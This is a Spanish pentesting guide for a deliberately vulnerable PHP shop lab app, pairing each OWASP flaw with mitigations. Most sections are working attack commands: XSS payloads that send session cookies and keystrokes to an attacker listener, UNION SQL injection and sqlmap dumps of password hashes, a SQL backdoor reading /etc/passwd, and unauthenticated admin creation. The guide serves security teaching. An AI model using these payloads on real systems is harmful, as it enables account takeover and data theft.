

- PeruNet - Guía de Pentesting y Vulnerabilidades
 - Índice
 - 1. Bypass de Autenticación por Session Hijacking (A01/A07)
 - Descripción
 - Archivos vulnerables
 - Explotación desde Linux
 - Ruta directa de prueba (para pentesting)
 - Resultado esperado
 - Mitigación
 - 2. Inyección SQL (A03)
 - Descripción
 - Archivo vulnerable
 - Explotación desde Linux
 - Automatización con sqlmap
 - Mitigación
 - 3. Cross Site Scripting - XSS (A03)
 - Descripción
 - Archivos vulnerables
 - 3.1 XSS Reflected
 - 3.2 XSS Stored (vía backdoor SQL)
 - 3.3 Robo de Cookies (con listener en Linux)
 - 3.4 Keylogging
 - Mitigación
 - 4. Exposición de Datos Sensibles (A04)
 - Descripción
 - Archivo vulnerable
 - Explotación desde Linux
 - Mitigación
 - 5. Backdoor - Ejecución Remota de SQL
 - Descripción
 - Archivo vulnerable
 - Explotación desde Linux
 - Mitigación
 - 6. Fuga de Información del Servidor
 - Descripción
 - Archivo vulnerable
 - Explotación desde Linux

- Mitigación
- 7. Creación No Autorizada de Usuarios Admin
 - Descripción
 - Archivo vulnerable
 - Explotación desde Linux
 - Mitigación
- 8. Resumen de Mitigaciones
 - Comandos rápidos para blindar la app
- Checklist de Pentesting

PeruNet - Guía de Pentesting y Vulnerabilidades

Aplicación: PeruNet (NewTec - Tienda de seguridad informática) **URL base:** <http://localhost/perunet> (o <http://192.168.x.x/perunet>) **Metodología:** OWASP Top 10 **SO atacante:** Linux (Kali/Parrot/Ubuntu)

Índice

1. [Bypass de Autenticación \(A01\)](#)
 2. [Inyección SQL \(A03\)](#)
 3. [Cross Site Scripting - XSS \(A03\)](#)
 4. [Exposición de Datos Sensibles \(A04\)](#)
 5. [Backdoor - Ejecución Remota de SQL](#)
 6. [Fuga de Información del Servidor](#)
 7. [Creación No Autorizada de Usuarios Admin](#)
 8. [Resumen de Mitigaciones](#)
-

1. Bypass de Autenticación por Session Hijacking (A01/A07)

Descripción

La autenticación funciona con login normal (email + password). La vulnerabilidad está en que **la cookie de sesión no tiene la bandera HttpOnly**, lo que permite que JavaScript malicioso (XSS) la lea mediante `document.cookie`. Un atacante puede robar la cookie de un admin autenticado y reutilizarla para acceder como él.

Archivos vulnerables

- `app/core/App.php` — `initSession(): 'httponly' => false`
- `app/controllers/DebugController.php` — endpoints XSS para robar la cookie

Explotación desde Linux

```
# 1. Iniciar listener en Linux para recibir cookies robadas
nc -lvnp 8080
# O con Python:
python3 -m http.server 8080

# 2. Inyectar XSS Stored vía backdoor que roba cookies
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE producto SET nombre='<img src=x
onerror=\\\"this.src=\\\"http://TU_IP:8080/?cookie=\\\"+document.cookie\\\">' WHERE
id_pro=1"

# 3. Esperar a que un admin visite el endpoint SQLi (o visitarlo tú mismo)
# La cookie se enviará al listener
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=x"

# 4. En el listener verás algo como:
# GET /?cookie=perunet_session=abcdef1234567890

# 5. Reutilizar la cookie robada para acceder como admin
curl -v --cookie "perunet_session=abcdef1234567890" \
  "http://192.168.x.x/perunet/admin"

# También se puede usar en un navegador:
# 1. Abrir DevTools > Application > Cookies
# 2. Reemplazar el valor de perunet_session con el robado
# 3. Recargar /perunet/admin
```

Ruta directa de prueba (para pentesting)

```
# Esta ruta fuerza login como admin sin password (útil para pruebas)
curl -v -L "http://192.168.x.x/perunet/forzar-login-admin-temp"

# Luego de usarla, la cookie generada se puede robar igual via XSS
```

Resultado esperado

Con la cookie robada, se accede al dashboard admin, CRUD de usuarios, productos, ventas sin conocer la contraseña.

Mitigación

```
// En app/core/App.php - Habilitar HttpOnly en la cookie de sesión
session_set_cookie_params([
    'httponly' => true,    // Evita que JS lea la cookie
    'secure' => true,      // Solo HTTPS
    'samesite' => 'Strict' // Protege contra CSRF
]);
```

2. Inyección SQL (A03)

Descripción

Los endpoints de depuración concatenan directamente parámetros GET en consultas SQL sin usar prepared statements.

Archivo vulnerable

`app/controllers/DebugController.php` — métodos `sqlProductos()` y `sqlUsuario()`

Explotación desde Linux

```
# Listar TODOS los productos (Bypass de filtro)
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=' OR '1'='1"

# Listar TODOS los usuarios con sus passwords hasheados
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 OR 1=1"

# UNION SELECT - extraer datos de otras tablas
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 UNION SELECT
1,2,3,4,5,6,7,8"

# Obtener estructura de tablas (MySQL)
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 UNION SELECT
TABLE_NAME,2,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES"

# Obtener columnas de tabla usuario
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 UNION SELECT
COLUMN_NAME,2,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='usuario'"

# Extraer password hash de un admin específico
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 UNION SELECT
1,contrasena,3,4,5,6,7,8 FROM usuario WHERE id_rol=1 LIMIT 1"

# SQL Blind - probar condiciones verdadero/falso
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=x' AND 1=1-- -"
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=x' AND 1=2-- -"
```

Automatización con sqlmap

```
# SQLi en productos
sqlmap -u "http://192.168.x.x/perunet/debug/sqli/productos?search=test" \
--batch --dump-all

# SQLi en usuarios
sqlmap -u "http://192.168.x.x/perunet/debug/sqli/usuario?id=1" \
--batch --dump -T usuario

# Obtener bases de datos
sqlmap -u "http://192.168.x.x/perunet/debug/sqli/usuario?id=1" \
--batch --dbs

# Obtener tablas de la base tienda_online
sqlmap -u "http://192.168.x.x/perunet/debug/sqli/usuario?id=1" \
--batch -D tienda_online --tables

# Shell interactiva sobre la BD
sqlmap -u "http://192.168.x.x/perunet/debug/sqli/usuario?id=1" \
--batch --sql-shell
```

Mitigación

```
// Usar prepared statements SIEMPRE
$stmt = $this->db->prepare("SELECT * FROM producto WHERE nombre LIKE :search");
$stmt->bindValue(':search', '%' . $search . '%');
$stmt->execute();
```

3. Cross Site Scripting - XSS (A03)

Descripción

Tres vectores XSS disponibles: Reflected (parámetros GET), Stored (vía backdoor SQL), y DOM (parámetros en URL).

Archivos vulnerables

- `app/controllers/DebugController.php` — método `xss()`, `index()`, `sqlProductos()`, `sqlUsuario()`, `backdoor()`

3.1 XSS Reflected

```
# Alerta básica
curl "http://192.168.x.x/perunet/debug/xss?msg=<script>alert(1)</script>"

# XSS en atributo (bypass de filtros básicos)
curl "http://192.168.x.x/perunet/debug/xss?msg=<img src=x onerror=alert(1)>"

# XSS en evento
curl "http://192.168.x.x/perunet/debug/xss?msg=<svg onload=alert(1)>"

# XSS via formulario (campo name se refleja en value y en <b>)
curl "http://192.168.x.x/perunet/debug/xss?name=\" autofocus onfocus=alert(1) x=\""
```

3.2 XSS Stored (vía backdoor SQL)

```
# Paso 1: Insertar XSS en la BD mediante el backdoor
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE producto SET nombre='<script>alert(document.cookie)</script>'
WHERE id_pro=1"

# Paso 2: Visitar endpoint SQLi que renderiza datos sin escapar
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=x"

# Insertar XSS en nombre de usuario
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE usuario SET nombre='<img src=x onerror=alert(1)>' WHERE id_us=1"

# Ver el XSS en la lista de usuarios
curl "http://192.168.x.x/perunet/debug/usuarios"

# Insertar XSS masivo en todos los productos
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE producto SET descripcion='<script>fetch(\"http://tu-ip:8080/?
cookie=\"+document.cookie)</script>'"
```

3.3 Robo de Cookies (con listener en Linux)

```
# Terminal 1 - Listener en Linux
nc -lvp 8080
# O con Python
python3 -m http.server 8080

# Terminal 2 - Inyectar payload que roba cookies
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE producto SET nombre='<img src=x
onerror=\"this.src=\\\"http://192.168.1.100:8080/?c=\\\"+document.cookie\\\">' WHERE
id_pro=1"

# Luego visitar el endpoint SQLi para gatillar
curl "http://192.168.x.x/perunet/debug/sqli/productos?search=x"
```

3.4 Keylogging

```
# Inyectar keylogger via backdoor
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE producto SET nombre='<script>document.onkeypress=function(e)
{fetch(\"http://192.168.1.100:8080/?key=\"+e.key)}</script>' WHERE id_pro=1"
```

Mitigación

```
// SIEMPRE escapar salida HTML
echo htmlspecialchars($variable, ENT_QUOTES, 'UTF-8');

// Para atributos
echo 'value="' . htmlspecialchars($variable, ENT_QUOTES, 'UTF-8') . '"';

// Content-Security-Policy header
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
```

4. Exposición de Datos Sensibles (A04)

Descripción

El endpoint `/debug/usuarios` expone toda la tabla `usuario` incluyendo passwords hashados, DNI, teléfonos, correos.

Archivo vulnerable

`app/controllers/DebugController.php` — método `usuarios()`

Explotación desde Linux

```
# Obtener todos los usuarios con datos sensibles
curl "http://192.168.x.x/perunet/debug/usuarios"

# Filtrar solo admins (usando grep)
curl -s "http://192.168.x.x/perunet/debug/usuarios" | grep -i "admin"

# Ver información de sesión de cualquier usuario
curl "http://192.168.x.x/perunet/debug/sesion"

# Obtener password hashado de admin via SQLi
curl "http://192.168.x.x/perunet/debug/sqli/usuario?id=1 UNION SELECT
1,contrasena,3,4,5,6,7,8 FROM usuario WHERE id_rol=1 LIMIT 1"
```

Mitigación

```
// NO exponer datos sensibles en endpoints públicos
$hiddenFields = ['contrasena', 'codigo_verificacion'];
foreach ($users as &$u) {
    foreach ($hiddenFields as $field) {
        unset($u[$field]);
    }
}
```

5. Backdoor - Ejecución Remota de SQL

Descripción

Endpoint que permite ejecutar **cualquier consulta SQL** directamente desde un formulario web o vía POST, sin autenticación ni restricciones.

Archivo vulnerable

`app/controllers/DebugController.php` — método `backdoor()`

Explotación desde Linux

```
# Listar todas las tablas de la BD
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_SCHEMA='tienda_online'"

# Ver esquema de la tabla usuario
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=DESCRIBE usuario"

# Extraer todos los passwords
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=SELECT id_us, correo, contrasena, dni FROM usuario"

# Modificar el rol de un usuario a admin
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=UPDATE usuario SET id_rol=1 WHERE correo='usuario@gmail.com'"

```

```
# Eliminar un usuario
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=DELETE FROM usuario WHERE id_us=8"

# Crear un admin desde cero
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=INSERT INTO usuario (nombre, apellidos, correo, contrasena, dni,
telefono, id_rol, estado) VALUES ('hacker', 'evil', 'hack@evil.com',
'\$2y\$10\$hashhash', '12345678', '999999999', 1, 'activo')"
```

```
# Obtener el hash de un password específico
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=SELECT id_us, correo, contrasena FROM usuario WHERE id_us=1"
```

```
# Leer archivos del servidor (si MySQL tiene permisos)
curl -X POST "http://192.168.x.x/perunet/debug/backdoor" \
  -d "sql=SELECT LOAD_FILE('/etc/passwd')"
```

Mitigación

```
// ELIMINAR completamente este endpoint en producción
// 0 en su defecto:
// 1. Requerir autenticación admin
AuthMiddleware::checkAdmin();
// 2. Restringir solo SELECTs
if (strpos(trim($sql), 'SELECT') !== 0) {
    die("Solo consultas SELECT permitidas");
}
```

6. Fuga de Información del Servidor

Descripción

`phpinfo()` expone configuración completa del servidor: rutas, variables de entorno, extensiones, configuración PHP.

Archivo vulnerable

`app/controllers/DebugController.php` — método `phpInfo()`

Explotación desde Linux

```
# Obtener phpinfo completo
curl "http://192.168.x.x/perunet/debug/phpinfo" | grep -i
"document_root\|server_root\|php_version\|loaded_config"

# Buscar rutas importantes
curl -s "http://192.168.x.x/perunet/debug/phpinfo" | grep -i
"doc_root\|include_path\|extension_dir"

# Ver variables de entorno (posibles credenciales)
curl -s "http://192.168.x.x/perunet/debug/phpinfo" | grep -i
"env\|password\|secret\|key"

# Ver configuración de sesión
curl -s "http://192.168.x.x/perunet/debug/phpinfo" | grep -i
"session.save\|session.name\|session.cookie"
```

Mitigación

```
// ELIMINAR phpinfo() de cualquier endpoint accesible
ini_set('display_errors', 0);
ini_set('expose_php', 'Off');
```

7. Creación No Autorizada de Usuarios Admin

Descripción

Endpoint que permite crear cuentas de administrador sin autenticación mediante formulario GET/POST. Además, la inserción SQL usa concatenación directa (doble vulnerabilidad).

Archivo vulnerable

`app/controllers/DebugController.php` — método `crearAdmin()`

Explotación desde Linux

```
# Crear admin via POST (parámetros por defecto)
curl -X POST "http://192.168.x.x/perunet/debug/crear-admin"

# Crear admin con credenciales personalizadas
curl -X POST "http://192.168.x.x/perunet/debug/crear-admin" \
  -d "nombre=miadmin&email=miadmin@hack.com&password=P@ssw0rd!"

# Iniciar sesión como el admin creado
curl -v -L "http://192.168.x.x/perunet/debug/forzar-admin"

# SQLi en el formulario de creación (los campos se concatenan directo)
curl -X POST "http://192.168.x.x/perunet/debug/crear-admin" \
  -d "nombre=test', 'Admin', 'sqlitest@hack.com', '\$2y\$10\$hash', '87654321',
'999999999', 1, 'activo');-- "
```

Mitigación

```
// ELIMINAR este endpoint
// Si se necesita registro, usar prepared statements y verificar autenticación
AuthMiddleware::checkAdmin();
$stmt = $this->db->prepare("INSERT INTO usuario ... VALUES (:nombre, ...)");
$stmt->bindParam(':nombre', $nombre);
```

8. Resumen de Mitigaciones

#	Vulnerabilidad	Archivo	Prioridad	Mitigación
1	Session Hijacking	App.php (httponly=false)	 CRÍTICA	Habilitar httponly=true en cookie de sesión
2	SQL Injection	DebugController.php	 CRÍTICA	Usar prepared statements; eliminar endpoints debug
3	XSS	DebugController.php	 CRÍTICA	Escapar salida con htmlspecialchars();

#	Vulnerabilidad	Archivo	Prioridad	Mitigación
				CSP header
4	Exposición datos	DebugController.php	● ALTA	No exponer campos sensibles; eliminar endpoint
5	Backdoor SQL	DebugController.php	● CRÍTICA	Eliminar endpoint; restringir SELECT + auth
6	phpinfo()	DebugController.php	● MEDIA	Eliminar endpoint; <code>expose_php = Off</code>
7	Creación admin	DebugController.php	● CRÍTICA	Eliminar endpoint; usar prepared statements
8	Forzar login	index.php	● CRÍTICA	Eliminar ruta <code>/forzar-login-admin-temp</code>

Comandos rápidos para blindar la app

```
# 1. Eliminar archivos vulnerables (producción)
rm app/controllers/DebugController.php
# 2. Restaurar AuthMiddleware original
# 3. Eliminar rutas debug de index.php
# 4. Deshabilitar DEBUG_MODE en config.php
sed -i "s/define('DEBUG_MODE', true)/define('DEBUG_MODE', false)/"
app/config/config.php
```

Checklist de Pentesting

- ☐ **A01: Broken Access Control** — `/admin`, `/forzar-login-admin-temp`
- ☐ **A03: Injection** — SQLi en `/debug/sqli/*`, backdoor `/debug/backdoor`
- ☐ **A03: XSS** — Reflected en `/debug/xss`, Stored via backdoor
- ☐ **A04: Sensitive Data Exposure** — `/debug/usuarios`, `/debug/sesion`

- ☐ **A05: Security Misconfiguration** — `DEBUG_MODE=true, phpinfo()`
 - ☐ **A06: Vulnerable Components** — FPDF antiguo en `/lib/`
 - ☐ **A07: Auth Failures** — Login sin rate-limiting, bypass middleware
-

Disclaimer: Esta guía es únicamente con fines educativos y de pentesting autorizado. No utilizar en sistemas sin consentimiento explícito del propietario.